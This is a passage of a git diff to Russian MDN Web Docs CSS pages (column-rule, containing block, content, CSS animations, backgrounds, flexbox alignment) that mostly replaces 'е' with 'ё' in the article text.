+++ b/files/ru/web/css/column-rule/index.html @@ -2,7 +2,7 @@ title: column-rule slug: Web/CSS/column-rule tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule --- <div>{{CSSRef}}</div> @@ -13,7 +13,7 @@ translation_of: Web/CSS/column-rule -<p>Эта краткая форма записи задает индивидуальные <code>column-rule-*</code> свойства, обычно задаваемые: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, и {{Cssxref("column-rule-color")}}.</p> +<p>Эта краткая форма записи задаёт индивидуальные <code>column-rule-*</code> свойства, обычно задаваемые: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, и {{Cssxref("column-rule-color")}}.</p> <div class="note"> <p><strong>Примечание:</strong> Как и с другими краткими формами записи, любые индивидуальные значения, не указанные явно принимают значение по умолчанию (возможно переопределение значений, заданных ранее с помощью свойств, не являющихся краткими формами).</p> @@ -32,13 +32,13 @@ column-rule: initial; column-rule: unset; </pre> -<p>Свойство <code>column-rule</code> указывается в виде одного, двух или трех значений, перечисленных ниже, в любом порядке.</p> +<p>Свойство <code>column-rule</code> указывается в виде одного, двух или трёх значений, перечисленных ниже, в любом порядке.</p> <h3 id="Значения">Значения</h3> <dl> <dt><code><'column-rule-width'></code></dt> - <dd>{{cssxref("<length>")}} или одно из трех ключевых свойств, <code>thin</code>, <code>medium</code>, или <code>thick</code>. См. подробно - {{cssxref("border-width")}}.</dd> + <dd>{{cssxref("<length>")}} или одно из трёх ключевых свойств, <code>thin</code>, <code>medium</code>, или <code>thick</code>. См. подробно - {{cssxref("border-width")}}.</dd> <dt><code><'column-rule-style'></code></dt> <dd>См. подробно {{cssxref("border-style")}} .</dd> <dt><code><'column-rule-color'></code></dt> diff --git a/files/ru/web/css/column_combinator/index.html b/files/ru/web/css/column_combinator/index.html index 9fad1a33a2..171d4fd7bc 100644 --- a/files/ru/web/css/column_combinator/index.html +++ b/files/ru/web/css/column_combinator/index.html @@ -2,7 +2,7 @@ title: Комбинатор столбцов slug: Web/CSS/Column_combinator tags: - - Верстка + - Вёрстка - Селекторы translation_of: Web/CSS/Column_combinator --- diff --git a/files/ru/web/css/containing_block/index.html b/files/ru/web/css/containing_block/index.html index fe3fdd2254..644b4d4d54 100644 --- a/files/ru/web/css/containing_block/index.html +++ b/files/ru/web/css/containing_block/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/Containing_block <p class="summary" dir="ltr">На размер и позицию элемента часто влияет его <strong>содержащий блок</strong> (containing block). Чаще всего содержащим блоком является content область (<a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">content area</a>) ближайшего блочного (<a href="/en-US/docs/Web/HTML/Block-level_elements">block-level</a>) предка, но это не всегда так. <span class="seoSummary">В этой статье мы рассмотрим факторы, которые</span> определяют <span class="seoSummary">содержащий блок элемента.</span></p> -<p class="summary" dir="ltr">Когда пользовательский агент (такой как ваш браузер) делает разметку документа, он создает бокс (box) для каждого элемента. Каждый бокс разделяется на следующие области:</p> +<p class="summary" dir="ltr">Когда пользовательский агент (такой как ваш браузер) делает разметку документа, он создаёт бокс (box) для каждого элемента. Каждый бокс разделяется на следующие области:</p> <ol dir="ltr" start="1"> <li>Content область или область контента (content area).</li> @@ -33,15 +33,15 @@ translation_of: Web/CSS/Containing_block <p dir="ltr">Определение содержащего блока элемента полностью зависит от значения свойства {{cssxref("position")}}:</p> <ol dir="ltr" start="1"> - <li>Если свойство <code>position</code> имеет значение <code><strong>static</strong></code>,<strong> </strong><code><strong>relative</strong></code>, или <strong><code>sticky</code></strong>, то содержащий блок задается краем <em>content бокса</em> ближайшего предка, который: + <li>Если свойство <code>position</code> имеет значение <code><strong>static</strong></code>,<strong> </strong><code><strong>relative</strong></code>, или <strong><code>sticky</code></strong>, то содержащий блок задаётся краем <em>content бокса</em> ближайшего предка, который: <ul> <li>либо является <strong>блочным контейнером</strong> (block container), например, если его свойство display имеет значение inline-block, block или list-item.</li> <li>либо <strong>устанавливает контекст форматирования</strong> (formatting context), например, контейнер таблицы (table container), flex-контейнер (flex container), grid-контейнер (grid container) или блочный контейнер (block container).</li> </ul> </li> - <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>absolute</strong></code>, то содержащий блок задается краем <em>padding бокса</em> ближайшего предка, у которого свойство <code>position</code><strong> </strong>имеет значение отличное от <code>static</code> (<code>fixed</code>, <code>absolute</code>, <code>relative</code> или <code>sticky</code>).</li> - <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>fixed</strong></code>, то содержащий блок задается: + <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>absolute</strong></code>, то содержащий блок задаётся краем <em>padding бокса</em> ближайшего предка, у которого свойство <code>position</code><strong> </strong>имеет значение отличное от <code>static</code> (<code>fixed</code>, <code>absolute</code>, <code>relative</code> или <code>sticky</code>).</li> + <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>fixed</strong></code>, то содержащий блок задаётся: <ul> <li>в случае непрерывного медиа (continuous media) областью просмотра (вьюпорт - {{glossary("viewport")}});</li> <li>в случае страничного медиа (paged media) областью страницы.</li> diff --git a/files/ru/web/css/content/index.html b/files/ru/web/css/content/index.html index 180c415cef..6d71c72e8e 100644 --- a/files/ru/web/css/content/index.html +++ b/files/ru/web/css/content/index.html @@ -60,18 +60,18 @@ content: unset; <dt>{{cssxref("<string>")}}</dt> <dd>Любое количество текстовых символов. Нелатинские символы должны быть закодированы с использованием их escape-последовательности Unicode: например, <code>\000A9</code> представляет собой символ авторского права.</dd> <dt>{{cssxref("<url>")}}</dt> - <dd>URL-адрес, указывающий на внешний ресурс (к примеру, изображение). Если ресурс не может быть отображен, он игнорируется или отображается значение по умолчанию.</dd> + <dd>URL-адрес, указывающий на внешний ресурс (к примеру, изображение). Если ресурс не может быть отображён, он игнорируется или отображается значение по умолчанию.</dd> <dt>{{cssxref("<image>")}}</dt> <dd>{{cssxref("<image>")}}, указанный типом данных {{cssxref("<url>")}} или {{cssxref("<gradient>")}}, или частью веб-страницы, определяемой функцией {{cssxref("element", "element()")}}, указывающей содержимое для обозначения.</dd> <dt>{{cssxref("<counter>")}}</dt> - <dd>Значение <a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS счетчика</a>, как правило число. Его можно отобразить с помощью функций {{cssxref("counter()")}} или{{cssxref("counters()")}}.</dd> + <dd>Значение <a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS счётчика</a>, как правило число. Его можно отобразить с помощью функций {{cssxref("counter()")}} или{{cssxref("counters()")}}.</dd> <dd> - <p>Функция <code>counter()</code> имеет две формы записи: 'counter(<var>имя</var>)' или 'counter(<var>имя</var>, <var>стиль</var>)'. Сгенерированный текст - это значение самого вложенного счетчика с заданным именем в области видимости данного элемента. Он отформатирован в указанном стиле (по умолчанию <code>decimal</code>).</p> + <p>Функция <code>counter()</code> имеет две формы записи: 'counter(<var>имя</var>)' или 'counter(<var>имя</var>, <var>стиль</var>)'. Сгенерированный текст - это значение самого вложенного счётчика с заданным именем в области видимости данного элемента. Он отформатирован в указанном стиле (по умолчанию <code>decimal</code>).</p> - <p>Функция <code>counters()</code> также имеет две формы записи: 'counters(<var>name</var>, <var>string</var>)' или 'counters(<var>name</var>, <var>string</var>, <var>style</var>)'. Сгенерированный текст - это значение всех счетчиков с заданным именем в области видимости данного элемента, от крайнего к вложенному. разделенных указанной строкой. Счетчики отображаются в указанном стиле (по умолчанию <code>decimal</code>).</p> + <p>Функция <code>counters()</code> также имеет две формы записи: 'counters(<var>name</var>, <var>string</var>)' или 'counters(<var>name</var>, <var>string</var>, <var>style</var>)'. Сгенерированный текст - это значение всех счётчиков с заданным именем в области видимости данного элемента, от крайнего к вложенному. разделённых указанной строкой. Счётчики отображаются в указанном стиле (по умолчанию <code>decimal</code>).</p> </dd> <dt><code>attr(x)</code></dt> - <dd>Значение атрибута <code>x</code> элемента в виде строки. Если атрибут <code>x</code> отсутствует, вернется пустая строка. Чувствительность к регистру в названии атрибута зависит от языка документа.</dd> + <dd>Значение атрибута <code>x</code> элемента в виде строки. Если атрибут <code>x</code> отсутствует, вернётся пустая строка. Чувствительность к регистру в названии атрибута зависит от языка документа.</dd> <dt><code>open-quote</code> | <code>close-quote</code></dt> <dd>Эти значения заменяются соответствующей строкой из свойства {{cssxref("quotes")}}.</dd> <dt><code>no-open-quote</code> | <code>no-close-quote</code></dt> @@ -123,7 +123,7 @@ q::after { } h1::before { - content: "Chapter "; /* Пробел в конце создает разделение + content: "Chapter "; /* Пробел в конце создаёт разделение между добавленным контентом и остальным контентом*/ }</pre> @@ -169,7 +169,7 @@ h1::before { <h4 id="CSS_3">CSS</h4> <pre class="brush: css">.new-entry::after { - content: " New!"; /* Начальный пробел создает разделение + content: " New!"; /* Начальный пробел создаёт разделение между добавленным контентом и остальным контентом */ color: red; @@ -245,7 +245,7 @@ li { <h2 id="Проблемы_доступности">Проблемы доступности</h2> -<p>Сгенерированный CSS контент не включен в <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM</a>. Из-за этого он не будет представлен в <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a> и некоторые комбинации вспомогательных технологий/браузеров не будут его объявлять. Если контент содержит информацию, которая имеет решающее значение для понимания цели страницы, лучше включить ее в основной документ.</p> +<p>Сгенерированный CSS контент не включён в <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM</a>. Из-за этого он не будет представлен в <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a> и некоторые комбинации вспомогательных технологий/браузеров не будут его объявлять. Если контент содержит информацию, которая имеет решающее значение для понимания цели страницы, лучше включить её в основной документ.</p> <ul> <li><a href="https://tink.uk/accessibility-support-for-css-generated-content/">Accessibility support for CSS generated content – Tink</a></li> diff --git a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html index 785f85c87c..51b1c40887 100644 --- a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html +++ b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support --- <div>{{CSSRef}}</div> -<p>CSS-анимации позволяют создавать креативные анимации контента, используя только CSS. Однако, скорее всего, будут случаи, когда эта функция недоступна, и вам придется решать эти задачи с помощью кода JavaScript, чтобы получить аналогичный эффект. Эта статья, основанная на посте в блоге Криса Хайльмана, демонстрирует такую технику.</p> +<p>CSS-анимации позволяют создавать креативные анимации контента, используя только CSS. Однако, скорее всего, будут случаи, когда эта функция недоступна, и вам придётся решать эти задачи с помощью кода JavaScript, чтобы получить аналогичный эффект. Эта статья, основанная на посте в блоге Криса Хайльмана, демонстрирует такую технику.</p> <h2 id="Тестирование_поддержки_анимации_CSS">Тестирование поддержки анимации CSS</h2> @@ -33,7 +33,7 @@ if( animation === false ) { } </pre> -<p>Для начала мы определим несколько переменных. Мы предполагаем, что анимация не поддерживается установкой значения animation в false. Мы устанавливаем строке для <code>animationstring</code> - <code>animation</code> , которая является свойством, которое мы хотим установить позже. Мы создаем массив префиксов браузера для циклического перебора и устанавливаем pfx в пустую строку.</p> +<p>Для начала мы определим несколько переменных. Мы предполагаем, что анимация не поддерживается установкой значения animation в false. Мы устанавливаем строке для <code>animationstring</code> - <code>animation</code> , которая является свойством, которое мы хотим установить позже. Мы создаём массив префиксов браузера для циклического перебора и устанавливаем pfx в пустую строку.</p> <p>Затем мы проверяем, установлено ли свойство CSS {{cssxref("animation-name")}} в коллекции стилей для элемента, заданного переменной elem. Это означает, что браузер поддерживает CSS-анимацию без какого-либо префикса, чего на сегодняшний день никто из них не делает..</p> @@ -80,7 +80,7 @@ if( animation === false ) { <p>Следующая задача-фактически добавить ключевые кадры в CSS страницы. Первое, что нужно сделать, это посмотреть, есть ли уже таблица стилей в документе; если да, то мы просто вставляем описание ключевого кадра в эту таблицу стилей; это делается в строках 13-15.</p> -<p>Если таблицы стилей еще нет, то создается новый элемент {{HTMLElement("style")}}, а его содержимое устанавливается в значение keyframes. Затем новый элемент {{HTMLElement("style")}} вставляется в документ {{HTMLElement("head")}}, тем самым добавляя новую таблицу стилей в документ.</p> +<p>Если таблицы стилей ещё нет, то создаётся новый элемент {{HTMLElement("style")}}, а его содержимое устанавливается в значение keyframes. Затем новый элемент {{HTMLElement("style")}} вставляется в документ {{HTMLElement("head")}}, тем самым добавляя новую таблицу стилей в документ.</p> <p><a href="https://jsfiddle.net/codepo8/ATS2S/8/embedded/result">View on JSFiddle</a></p> diff --git a/files/ru/web/css/css_animations/tips/index.html b/files/ru/web/css/css_animations/tips/index.html index 495c3a3063..15929f6220 100644 --- a/files/ru/web/css/css_animations/tips/index.html +++ b/files/ru/web/css/css_animations/tips/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Animations/Tips <p>Спецификация <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> не предлагает способа запустить анимацию снова. Нет никакого волшебного метода resetAnimation () для элементов, и вы даже не можете просто установить элемент {{cssxref ("animation-play-state")}} в" running " снова. Вместо этого вы должны использовать хитрые трюки, чтобы запустить остановленную анимацию для воспроизведения.</p> -<p>Предлагаем вам один из способов, который мы считаем достаточно надежным и стабильным.</p> +<p>Предлагаем вам один из способов, который мы считаем достаточно надёжным и стабильным.</p> <h3 id="HTML_содержимое">HTML содержимое</h3> @@ -80,8 +80,8 @@ translation_of: Web/CSS/CSS_Animations/Tips <ol> <li>Список классов CSS в элементе сбрасывается до простого "box". Это приводит к удалению всех других классов, которые в настоящее время применяются к элементу, включая класс <code>"changing"</code> , который обрабатывает анимацию. Другими словами, мы удаляем анимационный эффект из элемента. Однако изменения в списке классов не вступают в силу до тех пор, пока не будет завершен перерасчет стиля и не произойдет обновление, отражающее это изменение.</li> - <li>Чтобы убедиться, что стили пересчитаны, мы используем {{domxref("window.requestAnimationFrame()")}} с колбэком. Наш колбэк выполняется непосредственно перед следующей перерисовкой документа. Проблема заключается в том,что, поскольку это происходит до перерисовки, перерасчет стиля еще не произошел! </li> - <li>Наш колбэк ловко вызывает <code>requestAnimationFrame()</code> второй раз! На этот раз колбэк выполняется до следующей перерисовки, то есть после того, как произошла перерасчет стиля. Этот колбэк добавляет класс <code>"changing"</code> обратно в элемент, так что перерисовка снова запустит анимацию.</li> + <li>Чтобы убедиться, что стили пересчитаны, мы используем {{domxref("window.requestAnimationFrame()")}} с колбэком. Наш колбэк выполняется непосредственно перед следующей перерисовкой документа. Проблема заключается в том,что, поскольку это происходит до перерисовки, перерасчёт стиля ещё не произошёл! </li> + <li>Наш колбэк ловко вызывает <code>requestAnimationFrame()</code> второй раз! На этот раз колбэк выполняется до следующей перерисовки, то есть после того, как произошла перерасчёт стиля. Этот колбэк добавляет класс <code>"changing"</code> обратно в элемент, так что перерисовка снова запустит анимацию.</li> </ol> <p>Конечно, нам также нужно добавить обработчик событий к нашей кнопке "выполнить", чтобы она действительно что-то делала:</p> @@ -94,7 +94,7 @@ translation_of: Web/CSS/CSS_Animations/Tips <h2 id="Остановка_анимации">Остановка анимации</h2> -<p>Простое удаление {{cssxref("animation-name")}} примененного к элементу, заставит его исчезнуть или перейти в следующее состояние. Если вместо этого вы хотите, чтобы анимация закончилась, а затем остановилась, вам нужно попробовать другой подход. Главные хитрости заключаются в следующем:</p> +<p>Простое удаление {{cssxref("animation-name")}} применённого к элементу, заставит его исчезнуть или перейти в следующее состояние. Если вместо этого вы хотите, чтобы анимация закончилась, а затем остановилась, вам нужно попробовать другой подход. Главные хитрости заключаются в следующем:</p> <ol> <li>Сделайте свою анимацию настолько самодостаточной, насколько это возможно. Это означает, что вы не должны полагаться на <code>animation-direction: alternate</code>. Вместо этого вы должны явно написать анимацию ключевого кадра, которая проходит через полную анимацию в одном прямом повторении.</li> diff --git a/files/ru/web/css/css_animations/using_css_animations/index.html b/files/ru/web/css/css_animations/using_css_animations/index.html index 2f25d7922e..14ccbe0a77 100644 --- a/files/ru/web/css/css_animations/using_css_animations/index.html +++ b/files/ru/web/css/css_animations/using_css_animations/index.html @@ -41,7 +41,7 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy <dt>{{ cssxref("animation-iteration-count") }}</dt> <dd>Определяет количество повторений анимации; Вы можете использовать значение <code>infinite</code> для бесконечного повторения анимации.</dd> <dt>{{ cssxref("animation-direction") }}</dt> - <dd>Дает возможность при каждом повторе анимации идти по альтернативному пути, либо сбросить все значения и повторить анимацию.</dd> + <dd>Даёт возможность при каждом повторе анимации идти по альтернативному пути, либо сбросить все значения и повторить анимацию.</dd> <dt>{{ cssxref("animation-fill-mode") }}</dt> <dd>Настраивает значения, используемые анимацией, до и после исполнения.</dd> <dt>{{ cssxref("animation-play-state") }}</dt> @@ -52,13 +52,13 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy <p><span id="result_box" lang="ru"><span class="hps">После того, как</span> <span class="hps">вы настроили</span> <span class="hps">временные свойства (продолжительность, ускорение)</span> <span class="hps">анимации</span><span>, вы</span> <span class="hps">должны определить</span> <span class="hps">внешний вид</span> <span class="hps">анимации</span></span>. Это делается с помощью двух и более ключевых кадров после {{ cssxref("@keyframes") }}. Каждый кадр описывает, как должен выглядеть анимированный элемент в текущий момент.</p> -<p>В то время, как временные характеристики (продолжительность анимации) указываются в стилях для анимируемого элемента, ключевые кадры используют {{ cssxref("percentage") }}, чтобы определить стадию протекания анимации. 0% означает начало анимации, а 100% ее конец. Так как эти значения очень важны, то для них придумали специальные слова: <code>from</code> и <code>to</code>.</p> +<p>В то время, как временные характеристики (продолжительность анимации) указываются в стилях для анимируемого элемента, ключевые кадры используют {{ cssxref("percentage") }}, чтобы определить стадию протекания анимации. 0% означает начало анимации, а 100% её конец. Так как эти значения очень важны, то для них придумали специальные слова: <code>from</code> и <code>to</code>.</p> <p>Вы также можете добавить ключевые кадры, характеризующие промежуточное состояние анимации.</p> <h2 id="Примеры">Примеры</h2> -<div class="note"><strong>Внимание:</strong> Примеры ниже не используют префиксов для CSS стилей . Webkit-браузеры и старые версии других браузеров нуждаются в указании префиксов в CSS стилях. Примеры, на которые Вы можете кликнуть в своем браузере, также содержат префиксы -webkit-.</div> +<div class="note"><strong>Внимание:</strong> Примеры ниже не используют префиксов для CSS стилей . Webkit-браузеры и старые версии других браузеров нуждаются в указании префиксов в CSS стилях. Примеры, на которые Вы можете кликнуть в своём браузере, также содержат префиксы -webkit-.</div> <h3 id="Скольжение_текста">Скольжение текста</h3> @@ -88,7 +88,7 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy <p>В элемент {{ HTMLElement("p") }} можно добавлять и другие пользовательские стили, чтобы как-то украсить его, однако здесь мы хотели продемонстрировать только эффект анимации.</p> -<p>Ключевые кадры определяются с помощью правила {{ cssxref("@keyframes") }}. В данном случае мы имеем только два ключевых кадра. Первый при 0% анимации (<code>from</code>). Здесь мы придаем элементу левый отступ в 100% и ширину в 300% (в три раза больше ширины родительского элемента). Это становится причиной того, что при первом кадре анимации заголовок {{ HTMLElement("p") }} находится за пределами правого края окна браузера .</p> +<p>Ключевые кадры определяются с помощью правила {{ cssxref("@keyframes") }}. В данном случае мы имеем только два ключевых кадра. Первый при 0% анимации (<code>from</code>). Здесь мы придаём элементу левый отступ в 100% и ширину в 300% (в три раза больше ширины родительского элемента). Это становится причиной того, что при первом кадре анимации заголовок {{ HTMLElement("p") }} находится за пределами правого края окна браузера .</p> <p>Второй ключевой кадр (to) определяет конец анимации, т.е (100%). Левый отступ устанавливается равным 0, а ширина 100%. Все выглядит так, будто заголовок {{ HTMLElement("p") }} приплывает к левому краю окна браузера.</p> @@ -97,7 +97,7 @@ at last the Caterpillar took the hookah out of its mouth, and addressed her in a languid, sleepy voice.</p> </pre> -<p>(Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)</p> +<p>(Обновите страницу, чтобы увидеть анимацию, или щёлкните по кнопке CodePen, чтобы воспроизвести её в окне CodePen)</p> <p>{{EmbedLiveSample("Скольжение_текста","100%","250")}}</p> @@ -143,7 +143,7 @@ her in a languid, sleepy voice.</p> <p>Это говорит браузеру о том, что при 75% выполнения анимации, шрифт должен быть 300%, а ширина 150%.</p> -<p>(Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)</p> +<p>(Обновите страницу, чтобы увидеть анимацию, или щёлкните по кнопке CodePen, чтобы воспроизвести её в окне CodePen)</p> <p>{{ EmbedLiveSample('Добавление_других_ключевых_кадров', '100%', '250', '', 'Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy') }}</p> @@ -233,9 +233,9 @@ her in a languid, sleepy voice.</p> <h3 id="Установка_нескольких_значений_свойствам_анимации">Установка нескольких значений свойствам анимации </h3> -<p>CSS свойство анимации может иметь несколько значений, разделенных запятыми. Это используется, чтобы указать несколько значений анимации в одном правиле и установить разную продолжительность, число повторений и т.д., для различных анимаций. Рассмотрим несколько примеров, чтобы увидеть разницу.</p> +<p>CSS свойство анимации может иметь несколько значений, разделённых запятыми. Это используется, чтобы указать несколько значений анимации в одном правиле и установить разную продолжительность, число повторений и т.д., для различных анимаций. Рассмотрим несколько примеров, чтобы увидеть разницу.</p> -<p>В первом примере у свойства имени анимации установлены три значения, у свойств продолжительности и количества повторений — по одному. В этом случае у всех трех анимаций одинаковая продолжительность и число повторений:</p> +<p>В первом примере у свойства имени анимации установлены три значения, у свойств продолжительности и количества повторений — по одному. В этом случае у всех трёх анимаций одинаковая продолжительность и число повторений:</p> <pre><code>animation-name: fadeInOut, moveLeft300px, bounce; animation-duration: 3s; @@ -261,7 +261,7 @@ animation-iteration-count: 2, 1;</code></pre> <h4 id="Добавление_CSS">Добавление CSS</h4> -<p>Начнем с добавления CSS. Анимация будет длиться 3 секунды, будет называться "slidein", будет повторяться 3 раза, а также значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">animation-direction</span></font> установлено <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">alternate</span></font>. В ключевых кадрах {{ cssxref("@keyframes") }} установлены такие значения ширины и левого отступа, что элемент будет скользить по экрану.</p> +<p>Начнём с добавления CSS. Анимация будет длиться 3 секунды, будет называться "slidein", будет повторяться 3 раза, а также значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">animation-direction</span></font> установлено <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">alternate</span></font>. В ключевых кадрах {{ cssxref("@keyframes") }} установлены такие значения ширины и левого отступа, что элемент будет скользить по экрану.</p> <pre class="brush: css">.slidein { -moz-animation-duration: 3s; @@ -316,7 +316,7 @@ animation-iteration-count: 2, 1;</code></pre> <h4 id="Добавление_обработчика_события_анимации">Добавление обработчика события анимации</h4> -<p>Будем использовать JavaScript для отслеживания всех трех возможных событий анимации. Следующий код конфигурирует обработчик; мы вызываем его при первой загрузке документа.</p> +<p>Будем использовать JavaScript для отслеживания всех трёх возможных событий анимации. Следующий код конфигурирует обработчик; мы вызываем его при первой загрузке документа.</p> <pre class="brush: js">var e = document.getElementById("watchme"); e.addEventListener("animationstart", listener, false); @@ -366,7 +366,7 @@ e.className = "slidein"; <h4 id="HTML">HTML</h4> -<p>Ради полноты картины приведем код разметки HTML. В разметке имеется тег <em>ul,</em> в который и выводится вся информация:</p> +<p>Ради полноты картины приведём код разметки HTML. В разметке имеется тег <em>ul,</em> в который и выводится вся информация:</p> <pre class="brush: html"><body> <h1 id="watchme">Watch me move</h1> diff --git a/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html index dc2ba0d32f..a17cf60839 100644 --- a/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html +++ b/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html @@ -18,7 +18,7 @@ original_slug: Web/CSS/CSS_Background_and_Borders/Множественные_ф } </pre> -<p>Вы можете сделать это сокращенным {{ cssxref("background") }} свойством и отдельными свойствами кроме {{ cssxref("background-color") }}. Таким образом следующие свойства могут быть определены в виде списка по одному на фон: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.</p> +<p>Вы можете сделать это сокращённым {{ cssxref("background") }} свойством и отдельными свойствами кроме {{ cssxref("background-color") }}. Таким образом следующие свойства могут быть определены в виде списка по одному на фон: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.</p> <h2 id="Пример">Пример</h2> @@ -45,7 +45,7 @@ original_slug: Web/CSS/CSS_Background_and_Borders/Множественные_ф <p>{{EmbedLiveSample('Example','100%','400')}}</p> -<p>Как вы можете видеть, логотип Firefox (первый в списке) расположен сверху, далее идет градиент и в самом низу фон с пузырями. Каждое последующее под-свойство ({{ cssxref("background-repeat") }} и {{ cssxref("background-position") }}) применяется к соответствующим фонам. Например первое значение свойства {{ cssxref("background-repeat") }} применяется к первому фону, и т.д.</p> +<p>Как вы можете видеть, логотип Firefox (первый в списке) расположен сверху, далее идёт градиент и в самом низу фон с пузырями. Каждое последующее под-свойство ({{ cssxref("background-repeat") }} и {{ cssxref("background-position") }}) применяется к соответствующим фонам. Например первое значение свойства {{ cssxref("background-repeat") }} применяется к первому фону, и т.д.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html index 3cd0e684d6..1969398293 100644 --- a/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html +++ b/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html @@ -20,7 +20,7 @@ original_slug: >- <pre class="syntaxbox">cursor: [<url>,]* ключевое_слово</pre> -<p>Это означает, что устанавливать можно любое количество URL-адресов (отделенных запятой), которые должны сопровождаться одним из ключевых слов, определенными спецификацией CSS, таких как <code>auto</code> или <code>pointer</code>.</p> +<p>Это означает, что устанавливать можно любое количество URL-адресов (отделённых запятой), которые должны сопровождаться одним из ключевых слов, определёнными спецификацией CSS, таких как <code>auto</code> или <code>pointer</code>.</p> <p>Например, такая последовательность значений допустима:</p> diff --git a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html index 3fe63cc24c..b59b71c446 100644 --- a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html +++ b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox --- <div>{{CSSRef}}</div> -<p><span class="tlid-translation translation" lang="ru"><span title="">Спецификация <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">Выравнивание Блоков</a> подробно описывает, как выравнивание работает при использовании различных способов разметки.</span> <span title="">На этой странице мы рассмотрим, как работает выравнивание блоков в контексте разметки flexbox.</span> <span title="">Поскольку эта страница предназначена для подробного описания вещей, относящихся к разметке flexbox и выравниванию блоков, ее следует читать вместе с основной страницей <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">выравнивания блоков</a>, в которой подробно описываются общие характеристики выравнивания блоков при использовании разных методах разметки.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Спецификация <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">Выравнивание Блоков</a> подробно описывает, как выравнивание работает при использовании различных способов разметки.</span> <span title="">На этой странице мы рассмотрим, как работает выравнивание блоков в контексте разметки flexbox.</span> <span title="">Поскольку эта страница предназначена для подробного описания вещей, относящихся к разметке flexbox и выравниванию блоков, её следует читать вместе с основной страницей <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">выравнивания блоков</a>, в которой подробно описываются общие характеристики выравнивания блоков при использовании разных методах разметки.</span></span></p> <h2 id="Основной_пример">Основной пример</h2> @@ -25,7 +25,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox <ul> <li>Главная ось = направление согласно атрибуту <code>flex-direction</code> = выравнивание через атрибут <code>justify-content</code></li> - <li>Поперечная ось = проходит поперек главной оси = выравнивание через атрибут <code>align-content</code>, <code>align-self</code>/<code>align-items</code></li> + <li>Поперечная ось = проходит поперёк главной оси = выравнивание через атрибут <code>align-content</code>, <code>align-self</code>/<code>align-items</code></li> </ul> <h3 id="Выравнивание_по_Главной_Оси">Выравнивание по Главной Оси</h3> @@ -48,13 +48,13 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox <p><span class="tlid-translation translation" lang="ru"><span title="">Это означает, что атрибут <code>justify-self</code> нет имеет смысла использовать в разметке flexbox, поскольку мы всегда имеем дело с перемещением всей группы элементов.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span 